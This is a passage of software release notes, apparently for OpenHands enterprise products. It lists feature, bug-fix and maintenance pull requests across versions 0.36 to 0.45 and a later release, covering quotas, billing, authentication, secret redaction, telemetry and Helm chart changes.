-* feat: add daily conversation quota schema foundation by @neubig in https://github.com/OpenHands/enterprise/pull/180 -* feat: add read-only quota usage page with reset countdown by @neubig in https://github.com/OpenHands/enterprise/pull/199 -* feat: add work-email quota increase requests with self-service verification by @neubig in https://github.com/OpenHands/enterprise/pull/200 -* feat: add org-level daily conversation quota exemptions by @neubig in https://github.com/OpenHands/enterprise/pull/212 -* feat: accept Jira Cloud picker mentions of the service account by @ak684 in https://github.com/OpenHands/enterprise/pull/223 -* feat(settings): auto-rotate invalid managed LLM keys on settings writes by @tofarr in https://github.com/OpenHands/enterprise/pull/231 -* feat: migrate Kimi K3 settings to DeepSeek V4 Flash by @neubig in https://github.com/OpenHands/enterprise/pull/253 - -#### Bug Fixes -* fix: resolve LLM profile keys in /users/me expose-secrets response by @hieptl in https://github.com/OpenHands/enterprise/pull/168 -* fix: handle null identity_provider for direct Keycloak logins by @tofarr in https://github.com/OpenHands/enterprise/pull/169 -* fix: URL-encode Redis password in authed URL for coredis/limits by @tofarr in https://github.com/OpenHands/enterprise/pull/177 -* fix: close dropdown menu after selection when wrapped in a label by @hieptl in https://github.com/OpenHands/enterprise/pull/176 -* fix: stop redacting the Jira DC base URL in agent output by @hieptl in https://github.com/OpenHands/enterprise/pull/182 -* fix: inject Bitbucket DC server URL, repo URL, and token context into agent prompt by @hieptl in https://github.com/OpenHands/enterprise/pull/183 -* fix(auth): make Keycloak HTTP retries configurable by @neubig in https://github.com/OpenHands/enterprise/pull/186 -* fix: OHE-3100 : use sandbox_spec.working_dir instead of hardcoded /workspace by @tofarr in https://github.com/OpenHands/enterprise/pull/188 -* fix(auth): make LiteLLM management timeout configurable by @neubig in https://github.com/OpenHands/enterprise/pull/189 -* fix: handle null runtime context values by @ak684 in https://github.com/OpenHands/enterprise/pull/112 -* fix: use agent server as conversation creation source by @malhotra5 in https://github.com/OpenHands/enterprise/pull/156 -* fix: let managed LLM profiles take the org's current key on rotation by @dylan-openhands in https://github.com/OpenHands/enterprise/pull/178 -* fix(budgets): persist maintenance updates by @saurya in https://github.com/OpenHands/enterprise/pull/204 -* fix: let free-tier (no-credit) teams run $0-cost models by @juanmichelini in https://github.com/OpenHands/enterprise/pull/143 -* fix: protect personal organization billing credits by @saurya in https://github.com/OpenHands/enterprise/pull/167 -* fix(budgets): prevent per-user allowance renewal on sync by @saurya in https://github.com/OpenHands/enterprise/pull/205 -* fix: display usage monitoring timestamps in local time by @saurya in https://github.com/OpenHands/enterprise/pull/208 -* fix: use verified repo provider in Jira Cloud conversation start request by @ak684 in https://github.com/OpenHands/enterprise/pull/216 -* fix(billing): show personal-workspace credits without a member budget row by @aivong-openhands in https://github.com/OpenHands/enterprise/pull/218 -* fix: clarify Jira email-visibility guidance with exact setting and delay by @ak684 in https://github.com/OpenHands/enterprise/pull/222 -* fix(enterprise): match provisioned user on Keycloak sub, not email by @tofarr in https://github.com/OpenHands/enterprise/pull/224 -* fix(enterprise): match on Keycloak sub in TOCTOU idempotent recovery too by @tofarr in https://github.com/OpenHands/enterprise/pull/225 -* fix(enterprise): await session.merge in billing success callback by @tofarr in https://github.com/OpenHands/enterprise/pull/226 -* fix: OHE-3127 : return null credits instead of 503 when budget is None by @tofarr in https://github.com/OpenHands/enterprise/pull/228 -* fix: return 0 credits instead of None for users without a budget by @tofarr in https://github.com/OpenHands/enterprise/pull/238 -* fix(settings): stop a member's settings save writing to the whole org by @jlav in https://github.com/OpenHands/enterprise/pull/254 - -#### Maintenance -* chore: remove dead localStorage feature-flag mechanism by @tofarr in https://github.com/OpenHands/enterprise/pull/230 -* docs: Replace with Polyform License by @jpelletier1 in https://github.com/OpenHands/enterprise/pull/240 - ---- - -### Software Agent SDK - -#### Features -* Feat: structured output by @luciobaiocchi in https://github.com/OpenHands/software-agent-sdk/pull/4207 -* agent-server: make conversation worktree root configurable by @xmrflipflop in https://github.com/OpenHands/software-agent-sdk/pull/4362 -* feat(observability): emit LLM and TOOL spans for ACP turns by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4376 -* feat: derive automation conversation tags in base RemoteWorkspace by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/4414 -* feat: emit canonical conversation telemetry from agent server by @malhotra5 in https://github.com/OpenHands/software-agent-sdk/pull/4459 -* feat(hooks): implement prompt-based evaluation by @onatozmenn in https://github.com/OpenHands/software-agent-sdk/pull/4160 -* feat(security): AST-backed shell command-name resolution (#2721 Phase 2b) by @eeee2345 in https://github.com/OpenHands/software-agent-sdk/pull/3944 -* feat: add public from_persisted() entry point to AgentSettingsBase by @mvanhorn in https://github.com/OpenHands/software-agent-sdk/pull/3503 -* feat(sdk): add cleanup LLM profile for outward agent text by @smolpaws in https://github.com/OpenHands/software-agent-sdk/pull/4344 -* feat(llm): resolve provider-specific runtime metadata for routed models by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4423 -* feat: add pre-flight LLM validation endpoint (POST /api/profiles/{name}/validate) by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4422 -* feat: carry ConversationErrorEvent on ConversationRunError for automation callbacks by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4458 -* feat(plugin): add Agent Plugins manifest loader (root plugin.json, closed schema) by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4474 -* feat(file-router): add POST /file/create_directory by @georgeglarson in https://github.com/OpenHands/software-agent-sdk/pull/4482 -* Add read-at-use LLM provider connections by @juanmichelini in https://github.com/OpenHands/software-agent-sdk/pull/4492 -* feat: Add deployment kind to agent-server telemetry by @malhotra5 in https://github.com/OpenHands/software-agent-sdk/pull/4522 -* feat(telemetry): identify automation conversations by @malhotra5 in https://github.com/OpenHands/software-agent-sdk/pull/4529 -* feat(tools): add structured task outcome preset by @malhotra5 in https://github.com/OpenHands/software-agent-sdk/pull/4479 -* feat(prompt): mention local conversation history by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4527 - -#### Bug Fixes -* fix(mcp): close reconciliation gaps left by #4367 by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4369 -* fix(acp): recover credential monitor after transient errors by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4403 -* fix(sdk): make ACP auth failures self-diagnosing by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4404 -* fix(observability): record non-executed tool results by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4415 -* fix(agent-server): compose ConversationInfo off the event loop to avoid GC wedge by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4417 -* fix(agent-server): initialize observability after deferred env by @Shimada666 in https://github.com/OpenHands/software-agent-sdk/pull/4426 -* fix(settings): inherit condenser max_tokens from LLM effective_max_input_tokens by @vnktadithya in https://github.com/OpenHands/software-agent-sdk/pull/4435 -* fix(goal): don't halt the goal loop on a STUCK run by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/4381 -* fix(llm): stop serializing calls through global config by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4473 -* fix(security-scan): improve release security scan comment by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/4397 -* fix(profiles): repair v1 skills migration by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4320 -* fix(agent-server): base_state.json as single source of truth for the agent (end meta.json duplication) by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/4440 -* fix(sdk): cap condenser token limit by agent context by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4461 -* fix(agent-server): move bash event search off event loop and replace glob with scandir by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4481 -* fix: redact API key from validate_profile error responses and logs by @all-hands-bot in https://github.com/OpenHands/software-agent-sdk/pull/4506 -* fix: make dict-entry secret redaction case-insensitive by @chintan-diwakar in https://github.com/OpenHands/software-agent-sdk/pull/4508 -* fix(agent-server): propagate out-of-band run failures as ConversationErrorEvent (#16686) by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4535 -* fix(sdk): normalize Kimi K3 vision metadata by @malhotra5 in https://github.com/OpenHands/software-agent-sdk/pull/4567 -* fix(agent): keep terminal prefix aliases from doubling an existing executable by @onatozmenn in https://github.com/OpenHands/software-agent-sdk/pull/4471 -* fix(sdk): resolve workspace default from active LLM profile by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4497 - -#### Maintenance -* chore: drop the OpenHands/OpenHands bump-PR target from version-bump-prs.yml by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4400 -* refactor(plugin): extract PluginFormat strategy (prep for Agent Plugins support) by @jpshackelford in https://github.com/OpenHands/software-agent-sdk/pull/4420 -* chore(ci): collapse the auto-posted Agent Server images PR section by @smolpaws in https://github.com/OpenHands/software-agent-sdk/pull/4442 -* Add ready-for-dev issue and PR gates by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4464 -* test(terminal): stabilize Windows Ctrl-C cleanup assertion by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4290 -* perf(agent-server): cache unchanged conversation summaries by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4483 -* ci: re-run PR description check when new commits are pushed by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4486 -* Weekly test sweep: remove low-value tests + simplify by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/4484 -* test(sdk): pin events_to_messages boundaries + fix responses_reasoning_item batch drop by @georgeglarson in https://github.com/OpenHands/software-agent-sdk/pull/4526 -* test(sdk): pin send_message skill-activation wiring by @georgeglarson in https://github.com/OpenHands/software-agent-sdk/pull/4536 - ---- - -### Runtime API - -#### Bug Fixes -* fix: anchor runtime reaping and DB pruning on last activity, not creation time by @hieptl in https://github.com/OpenHands/runtime-api/pull/707 -* fix: anchor the idle-grace period on last_state_change, not created_at by @hieptl in https://github.com/OpenHands/runtime-api/pull/713 -* fix: OHE-3100 : root-owned working_dir subdirs on PVC via init container by @tofarr in https://github.com/OpenHands/runtime-api/pull/714 -* fix: reorder cleanup phases and resume expired deployment list tokens by @dylan-openhands in https://github.com/OpenHands/runtime-api/pull/712 - ---- - -### Automation - -#### Features -* feat(automation): tag local automation conversations by @neubig in https://github.com/OpenHands/automation/pull/319 -* feat: sync automations to a git repository by @VascoSch92 in https://github.com/OpenHands/automation/pull/327 -* feat: accept catalog bundle automations on the raw create path by @VascoSch92 in https://github.com/OpenHands/automation/pull/346 - -#### Bug Fixes -* fix: stop marking successful automation runs as FAILED by @hieptl in https://github.com/OpenHands/automation/pull/331 - -#### Maintenance -* chore: add success logging for tarball storage writes and deletes by @jpshackelford in https://github.com/OpenHands/automation/pull/335 -* chore: remove QA changes workflow by @neubig in https://github.com/OpenHands/automation/pull/340 - ---- - -### OpenHands Cloud (Helm Chart) - -#### Features -* feat: e2e: restructure for Keycloak admin + dual GitHub user flows by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1089 -* feat: add configurable daily conversation limit to chart by @neubig in https://github.com/OpenHands/OpenHands-Cloud/pull/1100 -* feat: wire Jira Cloud email-match integration for Replicated installs by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1113 -* feat: add org-management e2e suite with super-admin REST provisioning by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1122 -* feat(replicated): declare app and sandbox node roles by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1133 -* feat(chart): add affinity plumbing to all pod specs by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1134 -* feat(replicated): gate dedicated sandbox nodes behind a config option by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1135 -* feat(preflight): warn when dedicated sandbox nodes are enabled with no sandbox node by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1136 -* feat(replicated): PLTF-3461 configure duplicate email checks by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1139 -* feat(azure-devops): wire the resolver webhook secret into the chart and KOTS config by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1160 - -#### Bug Fixes -* fix: Bound Laminar ClickHouse diagnostic log retention by @juanmichelini in https://github.com/OpenHands/OpenHands-Cloud/pull/1031 -* fix: wire installer SMTP config into Keycloak realm email by @hieptl in https://github.com/OpenHands/OpenHands-Cloud/pull/1090 -* fix(e2e): handle onboarding-form and 2FA auto-navigate race conditions by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1091 -* fix(e2e): enable role during static discovery by @saurya in https://github.com/OpenHands/OpenHands-Cloud/pull/1099 -* fix(e2e): replace networkidle waits and fix Promise.race short-circuit by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1108 -* fix(automation): keep events service available during node drains by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1112 -* fix: refresh changes panel when empty in VSCode integration test by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1114 -* fix(e2e): order API keys spec after billing so new-user has credits by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1118 -* fix(e2e): PLTF-3461 honor AUTH_BASE_URL for Keycloak admin URL by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1126 -* fix(chart): set the warm pool working dir to /workspace/project by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1140 -* fix(deploy): tolerate a restarting kotsadm in replicated_deploy.sh by @dylan-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1141 -* fix(e2e): PLTF-3461 move the credit-gated API key check into the billing suite by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1143 -* fix(ci): PLTF-3461 call the E2E trigger from each release workflow by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1144 - -#### Maintenance -* test(e2e): add Playwright release harness by @saurya in https://github.com/OpenHands/OpenHands-Cloud/pull/1048 -* test(e2e): cover organization-scoped member API keys by @saurya in https://github.com/OpenHands/OpenHands-Cloud/pull/1049 -* test(e2e): add optional ReportPortal reporting by @saurya in https://github.com/OpenHands/OpenHands-Cloud/pull/1088 -* test(e2e): make returning/new-user roles opt-in via *_GITHUB_USERNAME by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1092 -* test(e2e): migrate Stripe credit purchase into billing suite by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1094 -* test(e2e): migrate home avatar and user-menu tests by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1095 -* test(e2e): remove example.spec.ts by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1096 -* test(e2e): migrate API key creation and API access test by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1097 -* test(e2e): migrate legacy conversation control tests by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1101 -* ci: auto-deploy Replicated releases to internal instances by @dylan-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1123 -* ci: PLTF-3461 run E2E after Replicated deploys by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1129 -* ci: name the Replicated release workflows consistently for README badges by @dylan-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1131 -* ci: fix unparseable expression in deploy-replicated, lint workflows in CI by @dylan-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1132 - ---- - -## 0.45.0 - -This release introduces **Canvas Extensions**, a major new capability that enables installing, managing, and refreshing extensions with manifest support and persistent storage. The Agent SDK saw significant improvements with conversation error classification, accumulated LLM cost tracking, and observability enhancements including detached traces for delegate conversations. The Automation component was modernized with the retirement of the standalone frontend, enhanced preset metadata, and LLM cost tracking. Critical stability fixes addressed S3/MinIO silent truncation issues, improved CSP compatibility for the Monaco diff viewer, and enhanced secrets handling across the platform. - -### Enterprise Server - -#### Features -* feat: migrate existing managed MiniMax M2.7 settings to the GLM 5.2 default by @juanmichelini in https://github.com/OpenHands/enterprise/pull/140 - -#### Bug Fixes -* fix(sandbox): OHE-3021 : honor OH_SANDBOX_MAX_NUM_SANDBOXES in RemoteSandboxServiceInjector fallback by @tofarr in https://github.com/OpenHands/enterprise/pull/153 -* fix: self-host Monaco so the diff viewer works under CSP by @hieptl in https://github.com/OpenHands/enterprise/pull/155 -* fix: stop silent truncation of archived and shared conversations on S3/MinIO by @hieptl in https://github.com/OpenHands/enterprise/pull/158 -* fix: stop surfacing Git provider token required errors for SSO-only users by @hieptl in https://github.com/OpenHands/enterprise/pull/159 -* fix(s3 file store): OHE-3079 : paginate list_objects_v2 to avoid silent truncation at 1000 keys by @tofarr in https://github.com/OpenHands/enterprise/pull/157 -* fix: redirect Automations sidebar icon to /canvas/automations by @hieptl in https://github.com/OpenHands/enterprise/pull/162 - ---- - -### Software Agent SDK - -#### Features -* feat(llm): verify kimi-for-coding (Kimi Code membership) by @georgeglarson in https://github.com/OpenHands/software-agent-sdk/pull/4150 -* feat(sdk): classify conversation errors by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4316 -* feat: report accumulated LLM cost in the automation completion callback by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/4311 -* feat(agent-server): Canvas Extensions manifest and containment [1/4] by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4361 -* feat(sdk): track requested_ref alongside resolved_ref in InstallationInfo [2/4] by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4375 -* feat(agent-server): Canvas Extensions installation persistence [3/4] by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4364 -* feat(agent-server): Canvas Extensions staged refresh (check/apply) [4/4] by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4374 - -#### Bug Fixes -* fix(sdk): respect subscription validator composition by @Sehlani042 in https://github.com/OpenHands/software-agent-sdk/pull/3953 -* fix(agent-server): keep secrets out of workspace persistence by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/3990 -* fix(acp): surface Claude Opus 5 in Claude Code model picker by @nicolasdmolina in https://github.com/OpenHands/software-agent-sdk/pull/4326 -* fix: PATCH /api/settings loads the profile's LLM when setting active_profile by @emmanuel-adu in https://github.com/OpenHands/software-agent-sdk/pull/4319 -* fix(git): demote expected command failures to debug by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4341 -* fix(sdk): nudge before hard-terminating on a repeating action-error pattern by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4332 -* fix(mcp): reconcile live agent tool snapshots by @Shimada666 in https://github.com/OpenHands/software-agent-sdk/pull/4367 -* fix(observability): mark utility LLM spans (title generation, ask_agent) by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4359 -* fix(observability): give delegate conversations their own detached Laminar trace by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4378 -* fix(browser): a browser tool that cannot start should not fail the conversation by @onatozmenn in https://github.com/OpenHands/software-agent-sdk/pull/4342 -* fix(observability): keep the conversation object out of TOOL span input by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4379 - -#### Maintenance -* chore(ci): remove QA Changes workflows by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4299 -* refactor(llm): add LiteLLM-backed provider abstraction by @enyst in https://github.com/OpenHands/software-agent-sdk/pull/2363 -* chore(sdk): deprecate AgentBase.model_dump_succint by @AzeelSajjad in https://github.com/OpenHands/software-agent-sdk/pull/4328 -* refactor(observability): stop depending on lmnr to propagate trace context into tool workers by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4360 -* test: stop ambient LMNR env vars deciding what the tracing tests measure by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4390 -* chore: remove deprecated features past their 1.41.0 removal deadline by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4394 - ---- - -### Automation - -#### Features -* feat: retire the standalone automation frontend by @hieptl in https://github.com/OpenHands/automation/pull/284 -* feat: report the configured automation timeout cap by @neubig in https://github.com/OpenHands/automation/pull/296 -* feat: record accumulated LLM cost per automation run by @hieptl in https://github.com/OpenHands/automation/pull/280 -* feat: set descriptive titles on automation-born conversations by @hieptl in https://github.com/OpenHands/automation/pull/312 -* feat: add generic preset metadata field to Automation model by @hieptl in https://github.com/OpenHands/automation/pull/313 -* feat: add template provenance, idempotent enablement, and first-run outcome to presets by @hieptl in https://github.com/OpenHands/automation/pull/322 - -#### Bug Fixes -* fix: normalize SQLite telemetry timestamps by @Linxiushen in https://github.com/OpenHands/automation/pull/301 -* fix: default FILE_STORE to local instead of gcs by @neubig in https://github.com/OpenHands/automation/pull/314 - ---- - -### OpenHands Cloud (Helm Chart) - -#### Features -* feat(chart): OHE-3021 : expose OH_SANDBOX_MAX_NUM_SANDBOXES as a ConfigOption by @tofarr in https://github.com/OpenHands/OpenHands-Cloud/pull/1035 - ---- - -## 0.41.0 - -This release advances the **Agent Canvas** rollout with a new homepage banner and an updated Canvas build, and sets GLM 5.2 as the default model for SaaS deployments. The remainder of the release focuses on Codex authentication handling, secrets and settings reliability, and a range of stability fixes across the Enterprise Server and Helm charts. - -### Enterprise Server - -#### Features -* feat: set SaaS default model to GLM 5.2 by @juanmichelini in https://github.com/OpenHands/enterprise/pull/89 -* feat: Add Agent Canvas homepage banner by @malhotra5 in https://github.com/OpenHands/enterprise/pull/124 -* feat: expose observability fields on app conversations by @juanmichelini in https://github.com/OpenHands/enterprise/pull/130 - -#### Bug Fixes -* fix(frontend): wire Export CSV buttons on Usage & Monitoring Overview and Models tabs by @saurya in https://github.com/OpenHands/enterprise/pull/78 -* fix: Pass pod security context from runtime-api warm configs to sandbox start by @tofarr in https://github.com/OpenHands/enterprise/pull/108 -* fix: skip default CSP on FastAPI docs paths (OHE-2815) by @tofarr in https://github.com/OpenHands/enterprise/pull/118 -* fix(settings): keep active LLM profile selected during updates by @saurya in https://github.com/OpenHands/enterprise/pull/107 -* fix(enterprise): Fix 405 error when uploading files before conversation is ready by @jpelletier1 in https://github.com/OpenHands/enterprise/pull/134 -* fix: propagate registered marketplaces to conversations by @tofarr in https://github.com/OpenHands/enterprise/pull/126 -* fix(app-server): serialize secrets writes to fix lost-write race (OHE-3052) by @tofarr in https://github.com/OpenHands/enterprise/pull/133 -* fix: load_settings should show meta for secrets by @tofarr in https://github.com/OpenHands/enterprise/pull/138 -* fix(enterprise): make POST /api/organizations/provision-user idempotent (OHE-2980) by @tofarr in https://github.com/OpenHands/enterprise/pull/117 -* fix: validate Codex auth secrets on save by @simonrosenberg in https://github.com/OpenHands/enterprise/pull/141 -* fix(app-server): pre-flight Codex credentials by @simonrosenberg in https://github.com/OpenHands/enterprise/pull/139 - -#### Maintenance -* chore(enterprise): enforce PostgreSQL-only migrations by @simonrosenberg in https://github.com/OpenHands/enterprise/pull/95 - ---- - -### Runtime API - -#### Features -* feat(helm): add generic-device-plugin DaemonSet for FUSE support by @tofarr in https://github.com/OpenHands/runtime-api/pull/685 - -#### Bug Fixes -* fix: resolve real service-account email for GCS URL signing by @jlav in https://github.com/OpenHands/runtime-api/pull/686 - -#### Maintenance -* chore: PLTF-3242 Emit cleanup backlog/throughput counts as a structured log summary by @aivong-openhands in https://github.com/OpenHands/runtime-api/pull/665 -* build(deps): bump aiohttp from 3.13.4 to 3.14.1 by @dependabot[bot] in https://github.com/OpenHands/runtime-api/pull/680 -* build(deps): bump ddtrace from 3.5.1 to 4.8.2 by @dependabot[bot] in https://github.com/OpenHands/runtime-api/pull/687 -* build(deps): bump awscli from 1.44.38 to 1.44.78 by @dependabot[bot] in https://github.com/OpenHands/runtime-api/pull/689 -* build(deps): bump pyasn1 from 0.6.3 to 0.6.4 by @dependabot[bot] in https://github.com/OpenHands/runtime-api/pull/688 - ---- - -### OpenHands Cloud (Helm Chart) - -#### Features -* feat(charts): device-plugin subchart for kvm/fuse passthrough by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1006 -* feat(openhands): PLTF-1247 offer Valkey as an opt-in cache backend by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1007 -* feat(agent-canvas): bump chart image tag to 1.10.0 by @hieptl in https://github.com/OpenHands/OpenHands-Cloud/pull/1024 - -#### Bug Fixes -* fix(budget-maintenance): disable cronjob until fixed image ships by @saurya in https://github.com/OpenHands/OpenHands-Cloud/pull/999 -* fix(replicated): preserve Keycloak identity provider timeout by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1001 -* fix: disable email changes for Replicated installs by @ak684 in https://github.com/OpenHands/OpenHands-Cloud/pull/1002 -* fix(rustfs): PLTF-1250 make the bundled store deployable when enabled by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1010 -* fix(charts): pass fuse_s3_mount through warm-runtimes configmap by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1011 -* fix(build): PLTF-1250 stop shipping Chart.yaml.bak in released charts by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1013 -* fix(build): PLTF-1250 restore Chart.lock after packaging by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1014 -* fix(charts)!: OHE-3033 durable automation package storage by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1015 -* fix(charts): restore the nested sandbox hostname default by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1021 -* fix(litellm-helm): bump default image tag to 1.94.1 for memory fix by @aivong-openhands in https://github.com/OpenHands/OpenHands-Cloud/pull/1023 -* fix(budget-maintenance): re-enable cronjob with 1.49.1 by @saurya in https://github.com/OpenHands/OpenHands-Cloud/pull/1018 - -#### Maintenance -* chore: bump Agent Canvas chart image to 1.9.0 by @malhotra5 in https://github.com/OpenHands/OpenHands-Cloud/pull/1009 -* chore: add storage-lifetime and naming checks to the code-review skill by @jlav in https://github.com/OpenHands/OpenHands-Cloud/pull/1016 - -## 0.36.1 - -This patch release was focused on stability fixes for the Enterprise Server, including preserving user sessions during transient network failures and giving deployments the ability to disable email changes. - -### Enterprise Server - -#### Bug Fixes -* fix(auth): preserve sessions during transient network failures by @ak684 in https://github.com/OpenHands/enterprise/pull/81 -* fix: allow deployments to disable email changes by @ak684 in https://github.com/OpenHands/enterprise/pull/110 -* fix(enterprise): fix broken import in run_budget_maintenance.py by @saurya in https://github.com/OpenHands/enterprise/pull/80 - -## 0.36.0 - -This release makes the **Agent Canvas** experience available to users at `your-openhands-instance.acmeco.com/canvas`. As mentioned in 0.28.0 release notes, Agent Canvas will coexist with the current OpenHands Enterprise conversation interface for the time being. A future release will announce the deprecation date for the current interface, after which Agent Canvas will become the default UI. - -Additionally, this release improves security and adds support for Bitbucket Data Center as a supported Git provider for Skills marketplace registrations. Improvements to database-pool resiliency, LLM usage-metrics accuracy, and runtime cleanup performance have also made it into this release. - -### Enterprise Server - -#### Features -* feat: Expose app and SDK versions in server info by @malhotra5 in https://github.com/OpenHands/OpenHands/pull/15345 -* feat: surface sandbox start-failure reason in conversation start errors by @ak684 in https://github.com/OpenHands/OpenHands/pull/14885 -* feat(settings): support title generation profile preference by @simonrosenberg in https://github.com/OpenHands/OpenHands/pull/15366 -* feat: Allow disabling redis_rate_limiter via empty RATE_LIMIT_AUTH_WINDOWS by @tofarr in https://github.com/OpenHands/enterprise/pull/97 -* feat: Enforce CSP via middleware (OHE-2815) by @tofarr in https://github.com/OpenHands/enterprise/pull/94 - -#### Bug Fixes -* fix(app-server): support Bitbucket Data Center personal repos as marketplace sources by @ak684 in https://github.com/OpenHands/OpenHands/pull/15334 -* fix(frontend): add jittered rate-limit backoff by @aivong-openhands in https://github.com/OpenHands/OpenHands/pull/15236 -* fix: upgraded instances with no superadmin by @tofarr in https://github.com/OpenHands/OpenHands/pull/15349 -* fix: clear member key on managed profile switch by @saurya in https://github.com/OpenHands/OpenHands/pull/15356 -* fix(enterprise): avoid rotating keys on LiteLLM non-auth errors by @saurya in https://github.com/OpenHands/OpenHands/pull/15267 -* fix(app-server): persist combined LLM usage metrics across all usage buckets by @ak684 in https://github.com/OpenHands/OpenHands/pull/15354 -* fix(app-server): prevent webhook callbacks from starving the database pool by @ak684 in https://github.com/OpenHands/OpenHands/pull/15379 -* fix: filter automation event forwarding by requested types by @malhotra5 in https://github.com/OpenHands/OpenHands/pull/15388 -* fix: enforce cloud analytics consent from TOS by @malhotra5 in https://github.com/OpenHands/enterprise/pull/79 -* fix(ci): use private bot PAT for pr-artifacts cleanup job by @jlav in https://github.com/OpenHands/enterprise/pull/88 -* fix(enterprise): atomically migrate legacy empty tool settings by @simonrosenberg in https://github.com/OpenHands/enterprise/pull/12 -* fix(settings): accept legacy detached MCP configs by @neubig in https://github.com/OpenHands/enterprise/pull/93 - -#### Maintenance -* test: PLTF-1269 split enterprise test_user_model into focused per-model tests by @aivong-openhands in https://github.com/OpenHands/OpenHands/pull/13997 -* chore: Suppress verbose Laminar info logs by @tofarr in https://github.com/OpenHands/OpenHands/pull/15374 -* chore: Unify release-please into a single semver release line by @mamoodi in https://github.com/OpenHands/enterprise/pull/76 - ---- - -### Software Agent SDK - -#### Features -* feat: surface plugin contents in the agent-server plugins API by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/4103 -* Lazily hydrate persisted conversations by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/4100 -* feat(agent-server): support deployment context on profile launches by @simonrosenberg in https://github.com/OpenHands/software-agent-sdk/pull/4030 -* feat(agent-server): sanitized product-analytics telemetry with split consent policy by @VascoSch92 in https://github.com/OpenHands/software-agent-sdk/pull/4172 -* feat: add opt-in persistent memory across sessions by @hieptl in https://github.com/OpenHands/software-agent-sdk/pull/4178 -* feat(marketplace): auto-load standalone marketplace skills by @ak684 in https://github.com/OpenHands/software-agent-sdk/pull/4176 -* feat(mcp): subscribe to tools/list_changed for progressive-disclosure servers by @neubig in https://github.com/OpenHands/software-agent-sdk/pull/3894 -* feat(agent-server): persist parent/child conversation relationships by @VascoSch92 in 